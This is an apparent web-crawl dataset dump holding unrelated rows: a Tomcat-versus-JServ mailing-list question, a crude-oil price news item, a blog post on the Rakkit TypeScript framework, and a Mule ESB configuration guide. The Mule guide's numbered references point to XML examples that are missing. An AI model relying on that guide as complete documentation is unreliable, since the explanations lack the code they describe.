text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91 values | source stringclasses 1 value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
Our site is written with JSERV, but I want to convert it completely to
Tomcat, and get rid of JSERV.
There are, however several differences.
For example, the parser for Tomcat doesn't like multiple include directives
for the same file. Our site uses these multiple include directives, so each
of them will have to be changed to a jsp:include tag.
Also it seems that the page import directive must include all component
libraries in one directive. It was crapping out on more than one page
import directive.
My solution: put it all in one page directive.
I.E.
<%@ page import="java.util.*,java.sql.*" %>
INSTEAD OF
<%@ page import="java.util.*" %>
<%Some code %>
<%@ page import="java.sql.*" %>
The latter works with JSERV, but not with TOMCAT.
Are there any documents anywhere that I can find that will detail the
difference between between these two jsp containers?
It would be nice to have some kind of reference for such a large transition. | http://mail-archives.apache.org/mod_mbox/tomcat-users/200005.mbox/%3CNDBBIDDEFCCENAABLDPHOEJNCDAA.mquinn@myturn.com%3E | CC-MAIN-2015-18 | refinedweb | 162 | 67.15 |
13 June 2011 11:41 [Source: ICIS news]
LONDON (ICIS)--NYMEX light sweet crude futures lost more than $1/bbl on Monday to take the front month July contract below $99/bbl on the back of expectations that OPEC’s largest crude producer ?xml:namespace>
According to various media reports,
By 10:00 GMT, July NYMEX crude had hit a low of $98.18/bbl, a loss of $1.11/bbl from the Friday close of $99.29/bbl, before recovering to around $98.22/bbl.
At the same time, July Brent crude on ICE Futures was trading around $118.47/bbl, having hit a low of $118.10/bbl, a loss of $0.68 | http://www.icis.com/Articles/2011/06/13/9468717/nymex-crude-falls-on-expectations-of-saudi-arabia-output-hike.html | CC-MAIN-2014-52 | refinedweb | 115 | 76.32 |
void set();
std::vectormight be better than an array for this. So try :
std::vector<TRS::Flight>Route; // A vector of Flight objects named Route
std::push_backitems into the vector.
thisoperator, just refer to them directly. The this operator is handy for operator overloading.
using namespace std;and added a new namespace. The
stdnamespace is huge, bringing it into the global namespace pollutes it, and runs the risk of variable & function naming conflict, which is the whole point of using a namespace! Did you know that there are
std::distance,
std::left,
std::right, just to name a few? So it is best to put your own classes into your own namespace(s). To refer to something in a namespace, pecede it with the name of the namespace and the scope resolution operator, like this :
std::cout
std::vector<TRS::Flight>Route; // A vector of Flight objects named Route
const-ness of parameters for functions with the same name. | http://www.cplusplus.com/forum/beginner/107904/ | CC-MAIN-2014-42 | refinedweb | 159 | 63.9 |
Processing arbitrary amount of data in PythonPublished on
A JSON stream in Python is surprisingly difficult
I’ve recently written about data processing in F#, and I thought I’d keep up the trend, but this time showcase a bit of python. A naive Pythonista can easily exhaust all available memory when working with large datasets, as the default Python data structure, which are easy to use, eagerly evaluate elements causing a million elements to be processed in memory instead of processing one element at a time in memory.
First we need data. A few minutes of searching the internet last night led me to a csv dump of Reddit’s voting habits. Let’s download the data to votes.csv.
# Data is compressed, so as we download we decompress it curl "" | gzip -d > votes.csv
Discover a bit of what the data looks like by taking the top 10 lines from the files with
head votes.csv.
00ash00,t3_as2t0,1 00ash00,t3_ascto,-1 00ash00,t3_asll7,1 00ash00,t3_atawm,1 00ash00,t3_avosd,1 0-0,t3_6vlrz,1 0-0,t3_6vmwa,1 0-0,t3_6wdiv,1 0-0,t3_6wegp,1 0-0,t3_6wegz,1
There are no headers and we can see the format looks like
username,link,vote where the vote is either -1 or 1. This made me curious if there were votes other than -1 or 1. Maybe there is a super user or admin that can have five votes. Luckily, standard linux tools come to our rescue.
cut --delimiter=',' --fields=3 publicvotes.csv | sort | uniq
outputs
1 -1
As an aside, csv mongers are probably upset that
cut was used instead of some robust and accurate csv tool that can handle escaping characters, but by the output we can see that it is not a problem. No user has a
, in their username.
If you are following along, you probably noticed that the last step took a relatively significant amount of time (ie. it wasn’t instant). Executing
time on the previous command (bash shortcut
!!) gives about nine seconds:
real 0m9.100s user 0m8.916s sys 0m0.144s
We could do further analysis on the file, but in an effort to get to the meat of this post, we’ll just find out the number of lines in the file by executing
wc --lines votes.csv. 7.5 million lines of data! Puny, but it will work for this example.
The goal of this post is to convert this csv file into json without using excessive memory. I’ll post the code below explain sections subsequently below. Feel free to skip the explanations if you already know Python inside and out.
#!/usr/bin/env python2.7 import csv import fileinput import sys from collections import namedtuple from itertools import imap from json import JSONEncoder RedditVote = namedtuple('RedditVote', ['username', 'link', 'score']) votes = imap(RedditVote._make, csv.reader(fileinput.input())) votes = imap(lambda x: x._replace(score=int(x.score)), votes) votes = imap(RedditVote._asdict, votes) class Generator(list): def __init__(self, generator): self.generator = generator def __iter__(self): return self.generator def __len__(self): return 1 encoder = JSONEncoder(indent=2) for chunk in encoder.iterencode(Generator(votes)): sys.stdout.write(chunk)
Here is a sample of the output
[ { "username": "00ash00", "link": "t3_as2t0", "score": 1 }, { "username": "00ash00", "link": "t3_ascto", "score": -1 } ]
Section 1: Parsing
# Create a type that has three fields: username, link, and score RedditVote = namedtuple('RedditVote', ['username', 'link', 'score']) # From each row in the csv convert it into the RedditVote by taking the first # field and storing as the username, the second field as the link, etc. votes = imap(RedditVote._make, csv.reader(fileinput.input())) # The csv read in strings, so we convert the score to an integer votes = imap(lambda x: x._replace(score=int(x.score)), votes) # Convert each instance into a dictionary, which can easily serialized to JSON votes = imap(RedditVote._asdict, votes)
The lines of python code packs a punch and relies heavily on the following modules (other than the csv module).
- namedtuple: takes away all the boilerplate in creating a class that is immutable that you can treat as a tuple or a dictionary
- fileinput: probably the most simple way to read from standard input with the option of reading multiple files in the future (in case we had multiple data files)
- generators: easily the hardest concept to grok in this list. All the uses of
imapare saying that only as elements are requested in an iteration is the function in
imapinvoked. The variable
votesis only iterated once (and that’s done on the line
encoder.iterencode)
What remains left after this section is serializing a sequence of dictionaries to JSON.
Section 2: Inheriting from List
The
Generator class is the most “hacky” part of the code, but is needed because Python struggles serializing arbitrary iterators in a memory efficient way. The
Generator class is adapted from an answer on StackOverflow.
# Derive from list class Generator(list): # Constructor accepts a generator def __init__(self, generator): self.generator = generator # When asked for the iterator, return the generator def __iter__(self): return self.generator # When asked for the length, always return 1. Additional explanation below. def __len__(self): return 1
The
Generator class has to derive from
list because when serializing an object to json, Python will check if it
isinstance(list). Not deriving from
list will cause an exception because the json module can’t serialize generators. I don’t like this implementation because by deriving from
list,
Generator is stating that it is a list, but an iterator is not a list! An iterator that is masquarading as an list gives me nightmares because the user may assume certain truths about lists that are violated when given an iterator.
The three functions defined are known as special methods, and are easily identifiable by the signature double underscore wrapping:
__init__defines how a
Generatoris customized when someone invokes
Generator(foobar).
__iter__defines the behavior of how elements are iterated (eg.
for x in Generator(foobar):). Our implementation simply forwards the request onto the actual generator
__len__defines how to calculate the length of the class (eg.
length = len(Generator(foobar))Defining
__len__is needed in
Generatorbecause the JSON encoder detects if a list is “falsy, and a python list will evaluate to
falseif it has a zeroth length (eg.
if not []: print 'a'will print
a), so only
[]will be outputted. Defining the function gets around it.
What’s frustrating is that in the json module documentation for encoders, there is an example “to support arbitrary iterators”, but it ends up allocating a whole list for the iterator, which is what we’re trying to avoid!
There is a way around this hack using simplejson, which is “the externally maintained development version of the json library included with Python 2.6 and Python 3.0.” An issue was raised about four years ago, lamenting the same problem. The author created a branch that fixed the problem and asked for testing volunteers. Unfortunately, no one responded so the author never merged the branch into simplejson. Luckily for us, we can still pip install the branch.
pip install git+[email protected]_as_array-gh1
Then we can remove the
Generator class and just use:
from simplejson import JSONEncoder # [...] encoder = JSONEncoder(indent=2, iterable_as_array=True) for chunk in encoder.iterencode(votes): sys.stdout.write(chunk)
Performance difference between the two implementation (deriving from list vs. custom simplejson) is nearly neglible with using the simplejson approach being about 5% faster.
Doing my open source duty, I made sure that I let the author know that their implementation worked for our purposes. Here’s to hoping he hears and merges it into the next version!
Update: The author responded and asked me to merge the branch back into master so it is updated. I accepted and made a pull request the next day.
Update: I’m happy to say that pull request has been accepted and as of simplejson 3.8.0,
iterable_as_array can be used, so there is no need to reference a specific (and outdated) branch on Github for the functionality.
pip install simplejson will include the option. Now, combining all the tricks of the trade, we end with:
#!/usr/bin/env python2.7 import csv import fileinput import sys import simplejson as json from collections import namedtuple from itertools import imap RedditVote = namedtuple('RedditVote', ['username', 'link', 'score']) votes = imap(RedditVote._make, csv.reader(fileinput.input())) votes = imap(lambda x: x._replace(score=int(x.score)), votes) votes = imap(RedditVote._asdict, votes) json.dump(votes, sys.stdout, indent=2, iterable_as_array=True)
Section 3: Writing
The shortest and (hopefully) the easiest section:
# Create a JSON encoder that pretty prints json with an indent of 2 spaces per # nesting encoder = JSONEncoder(indent=2) # Iteratively encode our generator as new information is processed for chunk in encoder.iterencode(Generator(votes)): # Send each chunk to stdout as it is generated. Since chunks contain the # necessary spaces and newlines, there is no need to use `print` as that # add additional format sys.stdout.write(chunk)
Results
We’re interested in the amount of time and the max memory usage to show that the votes file, is in fact, not loaded entirely in memory at once. To measure max memory usage, there is a nice utility called
memusg online, which we can grab.
curl -O "" chmod +x memusg
Let’s run it!
time cat votes.csv | ./memusg ./to-json.py >/dev/null real 3m36.384s user 3m31.271s sys 0m2.445s memusg: peak=6200
Ok, 3 minutes and 36 seconds to run. Not terrible, but not great. Memory usage is about 6KB, so the whole file was processed without exhausting memory.
You may have noticed that I’m piping the output to
/dev/null. I do this as a way to measure CPU performance not IO performance. Though, interestingly enough writing to the file didn’t effect CPU performance, which leads me to think that the algorithm is strangely CPU bound.
Comparison with Rust
A program that transforms an input shouldn’t be CPU bound. This made my mind wander. What if I coded it up in a more naturally performance language? Most people would drift towards C/C++, but I chose Rust because the state of package management in C/C++ is sad. I don’t want to re-code a robust csv and json parser, or spend an inordinate amount of time trying to integrate packages like rapidjson so that everything is redistributible.
Anyways, below is the first cut of my first program I have ever written in Rust that produces an identical result as the Python code. Don’t judge too harshly!
#![feature(custom_derive, plugin)] #![plugin(serde_macros)] extern crate serde; extern crate csv; use serde::ser::Serializer; use serde::ser::impls::SeqIteratorVisitor; #[derive(Serialize)] struct RedditVote { username: String, link: String, vote: i32 } fn main() { let mut rdr = csv::Reader::from_reader(std::io::stdin()).has_headers(false); let votes = rdr.records().map(|r| { let va = r.unwrap(); RedditVote { username: va[0].to_string(), link: va[1].to_string(), vote: va[2].parse::<i32>().unwrap() } }); let mut writer = serde::json::Serializer::pretty(std::io::stdout()); writer.visit_seq(SeqIteratorVisitor::new(votes, None)).unwrap(); }
The code is technically longer, but I feel like it hasn’t lost any readibility. It has different syntax than Python, but that shouldn’t be a big turnoff.
Since this was the first Rust code I have ever written, I can’t tell if it is idiomatic, but I’m satisfied. The hardest part was looking up function signatures for serde and lamenting the fact that the rust csv reader decodes records natively using rustc-serialize, but the community is moving towards serde because it has more features and is faster. There is an issue open for the rust csv parser to move to
serde, so the posted code should only become more concise as time passes.
At the time of writing this,
Cargo.toml looked like:
[dependencies] csv = "0.14.2" serde = "0.4.2" serde_macros = "0.4.1"
Running the code (after compiling with
cargo build --release:
time cat votes.csv | ./memusg ./rs-to-json >/dev/null real 0m35.366s user 0m25.384s sys 0m7.629s memusg: peak=5588
That’s about a 6x speedup compared to even the Python version that drops down to C for speed. Thus, if speed is of no concern, use Python, but if you want speed and C/C++ might not the right fit – use Rust.
I’ve avoided talking about the
sys timing because until now it hasn’t constituted a significant part to the timing, but now that
sys is more than a quarter of the
real time, it is time to talk about it. In our example,
sys measures reading the file and memory allocation, two jobs that are relegated to the kernal to perform. A hypothesis would be that the Rust code is so fast that the program is becoming IO bound, and this statement is backed up by watching
top display our Rust program consistently using less CPU (about 10%).
Roundtrip
If you take a look at the resulting json file, it is quite large. Converting it back to csv might be a good idea because we don’t really gain anything from the json and a csv is much smaller in comparison. We use the same tools as before, except we need to use ijson, as that allows for to stream in JSON.
#!/usr/bin/env python2.7 import ijson.backends.yajl2 as ijson import sys import csv from itertools import imap votes = ijson.items(sys.stdin, 'item') votes = ((x['username'], x['link'], x['score']) for x in votes) csv.writer(sys.stdout, lineterminator='\n').writerows(votes)
There are more lines of code dedicated to importing modules than to the actual conversion process. If that is not a powerful snippet of code, I’m not sure what is!
I chose the ijson backend as
yajl2 because the pure Python implementation is twice as slow. The downside to this approach is that it may not be cross platform as
yajl2 requires a compilation step.
pip install ijson apt-get install libyajl2 time cat votes.json | ./memusg ./to-csv.py >/dev/null real 4m21.140s user 3m58.029s sys 0m2.489s memusg: peak=9772
We can ensure that roundtripping produces identical output without creating any additional files:
diff votes.csv <(cat votes.csv | ./to-json.py | ./to-csv.py)
How fast can we go?
From here on out, the content is trivial, but let’s say that you were tasked with converting csv to JSON as fast as possible, and it didn’t matter how re-useable the code was.
For this task we are going to dip our toes into C.
Compile the following code with:
gcc -O3 -o to-json to-json.c.
gcc is needed because we use a couple gnu-isms, such as
getline to read a line at a time and
__builtin_expect for branch prediction.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { ssize_t read; char* line = malloc(256 * sizeof(char)); char* username = malloc(256 * sizeof(char)); char* link = malloc(256 * sizeof(char)); size_t len = 255; int i = 0; fputc('[', stdout); while ((read = getline(&line, &len, stdin)) != -1) { if (__builtin_expect(i, 1)) { fputc(',', stdout); } i++; char* username_end = memchr(line, ',', read); ssize_t username_length = username_end - line; memcpy(username, line, username_length); username[username_length] = 0; char* link_end = memchr(username_end + 1, ',', read - username_length - 1); ssize_t link_length = link_end - username_end - 1; memcpy(link, username_end + 1, link_length); link[link_length] = 0; fputs("\n {\n \"username\": \"", stdout); fputs(username, stdout); fputs("\",\n \"link\": \"", stdout); fputs(link, stdout); fputs("\",\n \"score\": ", stdout); if (*(link_end + 1) == '-') { fputc('-', stdout); } fputs("1\n }", stdout); } fputs("\n]", stdout); free(line); free(username); free(link); return 0; }
and the results:
time cat votes.csv | ./memusg ./to-json >/dev/null real 0m1.886s user 0m1.284s sys 0m0.270s memusg: peak=972
That’s 114.73x speedup compared to our python solution and 18.75x speedup compared to our rust solution. Also note the low memory usage.
Despite the speedup, please don’t code like this. There are many inputs that could wreck our toy example (multi-line records, quotations, long usernames, etc). We get all of these features in the Rust and Python versions because we used libraries that handle all the corner cases.
As a side note the C version is the longest line count and took the longest to code.
How about CSVKit?
CSVKit is nice when working with CSVs and it even has a tool called
csvjson that will convert a CSV file into JSON. How does it stack up to our other methods?
First,
csvjson determines the JSON keys from column headers, but in our dataset we don’t have headers. Also
csvjson doesn’t natively stream data and using the
--stream option, it won’t ouput valid JSON! The former problem is easily fixed, but the latter renders this test almost useless. Still, we’ll execute it and record the results.
# First we add the headers: username, link, and score time (echo "username,link,score" && cat votes.csv) | ./memusg csvjson --stream -i 2 >/dev/null real 7m54.152s user 6m55.465s sys 0m11.561s memusg: peak=12952
Wow, slow as molasses (over 250 times slower than our C version) and the final result is still incorrect, but I figured I should this example to be complete, as for small CSV files it should be the quickest because there is no code you have to write, just execute a command!
And PyPy?
PyPy is a fast, compliant alternative implementation of the Python language (2.7.9 and 3.2.5). […] Thanks to its Just-in-Time compiler, Python programs often run faster on PyPy
time cat votes.csv | ./memusg pypy to-json.py >/dev/null real 1m22.147s user 1m12.649s sys 0m1.827s memusg: peak=78924
Nice. Dropping in PyPy yielded about a 3x speedup without any additional work. Memory usage is significantly higher due (most likely) to PyPy’s JIT compiler. | https://nbsoftsolutions.com/blog/processing-arbitrary-amount-of-data-in-python | CC-MAIN-2019-51 | refinedweb | 3,005 | 65.42 |
Rakkit : create your GraphQL and REST APIs with TypeScript and decorators!
Owen Calvin
・4 min read
Wow, another new framework, really...? 😅
So, we can have a little history before 📜
After having developed many apis in pure JavaScript and was co-frontted to maintain them. I decided to review my ways of doing things for my future projects and it was a good thing because, in my company, we decided to create a headless CMS allowing a great freedom on the choice of APIs (GraphQL or REST) used and operating on a principle similar to strapi.io.
Several constraints arose for this project: We had to be able to be very reactive if we had a problem with our application (code), to be able to easily add functionality for our customers, to depend as little as possible on external modules and above all to have a relatively clean code and remain a maximum DRY.
So after some research and decisions we started to develop a framework that would be the basis of this CMS, this one allows us to create REST and GraphQL APIs (these two types of APIs can share the use of the same middleware) to create applications using websockets and also to do dependency injection.
Rakkit packages 📦
Rakkit allows you to create a backend with a lot of features, here is the list of them:
- GraphQL API
- REST API
- Routing (middlewares for GraphQL and REST)
- Websocket application
- Dependency Injection
node_modules phobia 😫
We all know this famous file which can accumulate a lot of dependencies... We absolutely wanted to avoid this, even if it meant redeveloping dependencies ourselves. However, we need some modules to be able to make all this work! Here is Rakkit's recipe for each of the packages:
- GraphQL API: graphql, graphql-subscription
- REST API: koa, koa-router, koa-compose
- Websocket application: socket.io
The advantage of having some dependencies is, if we take the example of koa, we can use modules made by the community for koa in order to use them in Rakkit!
You can use Rakkit in parallel with another dependency such as TypeORM !
Where? 📍
Then the project is accessible on GitHub here, the documentation is there, and you can of course install it on npm.
If you have any concerns we are all available to help you, just post an issue.
(a small star on GitHub motivates us to continue in this direction!).
Okay, but what does it look like? 🧐
So, it will eventually need some basics to understand the rest, so I advise you to check out TypeScript and possibly the decorators.
These are just very simple examples, not everything is shown...
REST API 🛣
The REST package uses koa internally, the way we handle data, the way we use middleware and the general behavior is the same as koa.
import { Router, Get, Post, IContext, NextFunction } from "rakkit"; // Middlewares that are used for REST and GraphQL import { Auth, SayHello } from "./middlewares.ts"; import { users } from "./users.ts"; @Router("user") @UseMiddleware(Auth) export class UserRouter { @Get("/") getAll(context: IContext) { // To return a result, assign the context.body value // Please refer to koa documentation for more informations... context.body = users; } @Get("/:id") @UseMiddleware(SayHello) async getOne(context: IContext, next: NextFunction) { // Omit variables checks here, for clarity const { id } = context.params; // JS destructuring const foundUser = users.find((usr) => usr.id === id); context.body = foundUser; await next(); } @Post("/") addUser(context: IContext) { // Use koa-bodyparser to parse the body into an object (Rakkit documentation) const user = context.request.body users.push(user); context.body = user; } }
Websockets 🔁
That's pretty simple, there is only two decorators !
import { Websocket, On, Socket } from "rakkit"; @Websocket() export class UserWS { @On("connection") onConnection(socket: Socket) { // Please refer to the socket.io documentation socket.emit("welcome", "welcome !"); } @On("message") onMessage(socket: Socket, message: string) { socket.server.emit("new:message", message); } }
GraphQL API 🔥
GraphQL is a huge package, This is just a very simple example to see what it looks like, so please refers to the Rakkit documentation for more informations.
import { ObjectType, Field } from "rakkit"; @ObjectType({ description: "Object representing an user" }) export class UserObjectType { @Field() id: string; @Field() email: string; @Field() username: string; @Field() activated: boolean; }
You can define your queries/mutation/subscriptions like this:
import { Resolver, Query, IContext, NextFunction } from "rakkit"; // Middlewares that are used for REST and GraphQL import { Auth, SayHello } from "./middlewares.ts"; import { users } from "./users.ts"; @Resolver() @UseMiddleware(Auth) export class UserResolver { // Precise the type, TS cannot resolve the return type when it's an array (Please refer to Rakkit the documentation) @Query(returns => UserObjectType) users(): UserObjectType[] { return users; } @Query() @UseMiddleware(SayHello) async user( @Arg("id") id: string, context: IContext, next: NextFunction ): UserObjectType? { return users.find((usr) => usr.id === id); await next(); // Go the the middleware function } }
It compiles it as a GraphQL Schema (You can use it in with your favorite server implementation like Apollo or graphql-yoga). In SDL, it looks like that:
"""Object representing an user""" type UserObjectType { id: String! email: String! username: String! activated: Bollean! } type Query { users: [UserObjectType] user(id: String!): UserObjectType }
Dependency Injection 🤯
This notion may seem abstract if you have never heard of it, it is particularly present with Angular, so I advise you to go and find out beforehand in order to be able to understand (more infos here).
import { Service, Inject } from "rakkit"; @Service() export class CronService { start() { // ... } } @Service() export class UserService { @Inject() private cronService: CronService; constructor() { this.cronService.start(); // ... } }
More advanced examples are available here and more will come in the near future! 😉
Et voilà! Thank you for taking the time to read this article! 👋
What cool ideas have you seen for integrating new team members?
I came across this tweet from a couple days ago and it really struck a chord with...
Apply condition on specific nested child elements in ReactJS
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Diogo Machado -
HTTP Caches - I read RFC 7234 so you won’t have to. Part 1: The Basics
Erica Tanti -
| https://dev.to/owen/rakkit-create-your-graphql-and-rest-apis-with-typescript-and-decorators-cnj | CC-MAIN-2020-10 | refinedweb | 999 | 51.18 |
Alan Cox writes:> > Argh! What I wrote in text is what I meant to say. The code didn't> > match. No wonder people seemed to be missing the point. So the line of> > code I actually meant was:> > if (strcmp (buffer + len - 3, "/cd") != 0) {> > drivers/kitchen/bluetooth/vegerack/cd> > its the cabbage dicer still ..No, because it violates the standard. Just as we can define a majornumber to have a specific meaning, we can define a name in the devfsnamespace to have a specific meaning.Yes, it's broken if someone writes a cabbage dicer driver and uses"cd" as the leaf node name for devfs.Yes, it's broken if someone writes a cabbage dicer driver and usesthe same major as the IDE CD-ROM or SCSI CD-ROM drivers. | https://lkml.org/lkml/2001/5/16/160 | CC-MAIN-2017-30 | refinedweb | 132 | 76.22 |
Question:
I'm writing an array-backed hashtable in Java, where the type of key and value are Object; no other guarantee.
The easiest way for me code-wise is to create an object to hold them:
public class Pair { public Object key; public Object value; }
And then create an array
public Pair[] storage = new Pair[8];
But how does the jvm treat that in memory? Which is to say, will the array actually:
- be an array of pointers to Pair() objects sitting elsewhere, or
- contain the actual data?
edit
Since the objects are instantiated later as new Pair(), they're randomly placed in the heap. Is there any good way to ensure they're sequential in the heap? Would I need to do some trickery with sun.misc.unsafe to make that work?
Explaining my motivation, if I want to try and ensure that sequential items are in the same page of memory, is there any way to do this in Java?
Solution:1
The array will be an object on the heap containing pointers to the Pair objects which will also be on the heap (but separate from the array itself).
Solution:2
No, the storage array will only contain pointers to the actual Pair objects existing somewhere else on the heap. Yet, remember to instantiate 8 Pair objects and make each element of the array point to these objects. You need to have something like this after the code that you have written:
for(int i=0;i<storage.length;i++) storage[i] = new Pair() ;
Only then will the Pair objects be created and correctly referred to by the storage array.
Note:If u also have question or solution just comment us below or mail us on toontricks1994@gmail.com
EmoticonEmoticon | http://www.toontricks.com/2019/06/tutorial-java-object-and-array-memory.html | CC-MAIN-2020-05 | refinedweb | 294 | 60.04 |
Version: (using KDE KDE 3.4.1)
Installed from: Gentoo Packages
OS: Linux
I find myself checking "Always show local cursor" on over half the sessions I open.
It would be convenient if I could just set this globally in the preferences and never touch it again.
(of course, I understand this is a pretty minor convenience and will probably not be a priority of any kind)
I think this option is available:
-c, --local-cursor Show local cursor (VNC only)
If so, this should be closed.
What I'm saying is, it would be nice to have as a global configuration option so I don't always have to choose it in the GUI or remember to put it on the command line.
Standard disclaimer: KRDC is currently unmaintained, and as long as it remains so its future is uncertain.
However, if KRDC survives to the next release of KDE, I will try and get this in there one way or the other. :) It bugs me too.
SVN commit 563036 by kling:
Make "always show local cursor" and "view only" permanently configurable via krdcrc.
Since we're in a GUI/message freeze, I can't add any GUI to these options until KDE4.
The options and their defaults are:
viewOnly=false
alwaysShowLocalCursor=false
BUG: 96174
BUG: 108620
M +3 -0 krdc.cpp
M +2 -1 main.cpp
--- branches/KDE/3.5/kdenetwork/krdc/krdc.cpp #563035:563036
@@ -21,6 +21,7 @@
#include "hostpreferences.h"
#include <kapplication.h>
+#include <kconfig.h>
#include <kdebug.h>
#include <kcombobox.h>
#include <kurl.h>
@@ -185,6 +186,8 @@
break;
}
+ m_view->setViewOnly(kapp->config()->readBoolEntry("viewOnly", false));
+
m_scrollView->addChild(m_view);
QWhatsThis::add(m_view, i18n("Here you can see the remote desktop. If the other side allows you to control it, you can also move the mouse, click or enter keystrokes. If the content does not fit your screen, click on the toolbar's full screen button or scale button. To end the connection, just close the window."));
--- branches/KDE/3.5/kdenetwork/krdc/main.cpp #563035:563036
@@ -21,6 +21,7 @@
#include <kapplication.h>
#include <klocale.h>
#include <kmessagebox.h>
+#include <kconfig.h>
#include <kdebug.h>
#include <kwallet.h>
#include <qwindowdefs.h>
@@ -102,7 +103,7 @@
QString keymap = QString::null;
WindowMode wm = WINDOW_MODE_AUTO;
bool scale = false;
- bool localCursor = false;
+ bool localCursor = kapp->config()->readBoolEntry("alwaysShowLocalCursor", false);
QSize initialWindowSize;
KCmdLineArgs *args = KCmdLineArgs::parsedArgs();
Can this reopened please. This is not fixed in KDE 4.1.1. I think it never was. | https://bugs.kde.org/show_bug.cgi?id=108620 | CC-MAIN-2022-40 | refinedweb | 415 | 60.41 |
Understanding Mule Configuration
About XML Configuration
Mule uses an XML configuration to define each application, by fully describing the constructs required to run the application. A basic Mule application can use a very simple configuration, for instance:
We will examine all the pieces of this configuration in detail below. Note for now that, simple as it is, this is a complete application, and that it’s quite readable: even a brief acquaintance with Mule makes it clear that it copies messages from standard input to standard output.
Schema References
The syntax of Mule configurations is defined by a set of XML schemas. Each configuration lists the schemas it uses and give the URLs where they are found. The majority of them will be the Mule schemas for the version of Mule being used, but in addition there might be third-party schemas, for instance:
Spring schemas, which define the syntax for any Spring elements (such as Spring beans) being used
CXF schemas, used to configure web services processed by Mule’s CXF module
Every schema referenced in a configuration is defined by two pieces of data:
Its namespace, which is a URI
Its location, which is a URL
The configuration both defines the schema’s namespace URI as an XML namespace and associates the schema’s namespace and location. This is done in the top-level
mule element, as we can see in the configuration above:
❶ Shows the core Mule schema’s namespace being defined as the default namespace for the configuration. This is the best default namespace, because so many of the configuration’s elements are part of the core namespace.
❷ Shows the namespace for Mule’s stdio transport, which allows communication using standard I/O, being given the "stdio" prefix. The convention for a Mule module or transport’s schema is to use its name for the prefix.
The xsi:schemaLocation attribute associates schemas' namespaces with their locations. ❸ gives the location for the stdio schema and ❹ for the core schema.
It is required that a Mule configuration contain these things, because they allow the schemas to be found so that the configuration can be validated against them.
Default Values
Besides defining the syntax of the elements and attributes that they define, schemas can also define default values for them. Knowing these can be extremely useful in making your configurations readable, since thy won’t have to be cluttered with unnecessary information. Default values can be looked up in the schemas themselves, or in the Mule documentation for the modules and transports that define them. For example, the definitions of the
<poll> element, which polls an endpoint repeatedly, contains the following attribute definition:
It is only necessary to specify this attribute when overriding the default value of 1 second.
Enumerated Values will look at this in more detail in the following sections. Note that, as always, it will be necessary to reference the proper schemas.
Spring Beans
The simplest use of Spring in a Mule configuration is to define Spring Beans. These beans are placed into:
❶ The vm connector specifies that all of its endpoints use persistent queues. ❷ The file connector specifies that each of its endpoints will be polled once a second, and also the directory that files will be moved to once they are processed. that will be done. ❶ specifies its location and refers to the connector shown above. It uses the generic
address attribute to specify its location. The file endpoint at ❷. (❶)
If not, the prefix is determined from the element’s address attribute. (❷)
The prefix style is preferred, particularly when the location is complex.
One of the most important attributes of an endpoint is its message exchange pattern (MEP, for short), ❶ converts the current message to JSON, specifying special handling for the conversion of the
org.mule.tck.testmodels.fruit.Orange class. The transformer at ❷ ❶ continues processing of the current message only if it matches the specified pattern. The filter at ❷ continues processing of the current message only if it is an XML document.
There are a few special filters that extend the power of the other filters. The first is
message-filter:
As above, ❶ continues processing of the current message only if it matches the specified pattern. But now any messages that don’t match, rather than being dropped, are sent to a dead letter queue for further processing. ❷.
Filters once again can be configured as global elements and referred to where they are used, or configured at their point of use. For more about Mule filters see Using Filters’ll be referring to as we examine its parts:
This flow accepts and processes orders. How the flow’s configuration maps to its logic:
❶ A message is read from an HTTP listener.
❷ The message is transformed to a string.
❸ This string is used as a key to look up the list of orders in a database.
❹ The order is now converted to XML.
❺ If the order is not ready to be processed, it is skipped.
❻ The list is optionally logged, for debugging purposes.
❼ Each order in the list is split into a separate message
❽ A message enricher is used to add information to the message
❾ Authorize.net is called to authorize the order
❶❶ The email address in the order is saved for later use.
❶❷ A Java component is called to preprocess the order.
❶❸ Another flow, named
processOrder, is called to process the order.
❶❹ The confirmation returned by
processOrder is e-mailed to the address in the order.
If processing the order caused an exception, the exception strategy at ❶❺ is called:
❶❻ All the message processers in this chain are called to handle the exception
❶❼ First, the message in converted to ma string.
❶❽ Last, this string is put on a queue of errors to be manually processed. MEPs.
❶ This.
❸ This calls a JDBC query, using the current message as a parameter, and replaces the current message with the query’s result. Because this endpoint is request-response, the result of the query becomes the current message.
❶❹.
❶❽ Any orders that were not processed correctly are put on a JMS queue for manual examination. Because this endpoint is one-way (the default for JMS), the current message does not change.
Thus the message sent back to the caller will.
❷ The message, which is a byte array, is converted to a string, allowing it to be the key in a database look-up.
❹ The order read from the database is converted to an XML document.
❶❶ The email address is stored in a message property. Note that, unlike most transformers, the message-properties-transformer does not affect the message’s payload, only its properties.
❶❼.
❽ The enricher calls a connector to retrieve information that it stores as a message property. Because the connector is called within an enricher, its return value is processed by the enricher rather than becoming the message.
Logger
The
logger element allows debugging information to be written from the flow. For more about the logger see Logger Component Reference
❻ Each order fetched from the database is output, but only if DEBUG mode is enabled. This means that the flow is silent, but debugging can easily be enabled when required.
Filters
Filters determine whether a message is processed or not.
❺ If the status of the document fetched is not "ready", its processing is skipped.
Routers
A router changes the flow of the message. Among other possibilities, it might choose among different message processors, split one message into many, join many messages into one. For more about routers, see Routing Message Processors.
❼:
❶ Causes the two methods
preProcessXMLOrder and
preProcessTextOrder to become candidates. Mule chooses between them by doing reflection, using the type of the message.
❷ Calls the method whose name is in the message property
methodToCall.
❸ Calls the
generate method, even though it takes no arguments.
Entry point resolvers are for advanced use. Almost all of the time, Mule finds the right method to call without needing special guidance.
❶❷ This is a Java component, specified by its class name, which is called with the current message. In this case, it preprocesses the message. For more about entry point resolvers, see Entry Point Resolver Configuration Reference.
Anypoint Connectors
An Anypoint connector calls a cloud service.
❾ Calls authorize.net to authorize a credit card purchase, passing it information from the message. For more about connectors, see Anypoint Connectors.
Processor Chain
A processor chain is a list of message processors, which will be executed in order. It allows you to use more than one processor where a configuration otherwise allows only one, exactly like putting a list of Java statements between curly braces.
❶❻ Performs two steps as part of the exception strategy. It first transforms and then mails the current message..
❶❸ Calls a flow to process an order that has already been pre-processed and returns a confirmation message.
Exception Strategies
An exception strategy is called whenever an exception occurs in its scope, much like an exception handler in Java. It can define what to do with any pending transactions and whether the exception is fatal for the flow, as well as logic for handling the exception.
❶❺.
As of mule 3.1.1, all are in the pattern namespace as shown. In earlier Mule 3 releases, they are in the core namespace, except for web-service-proxy which is
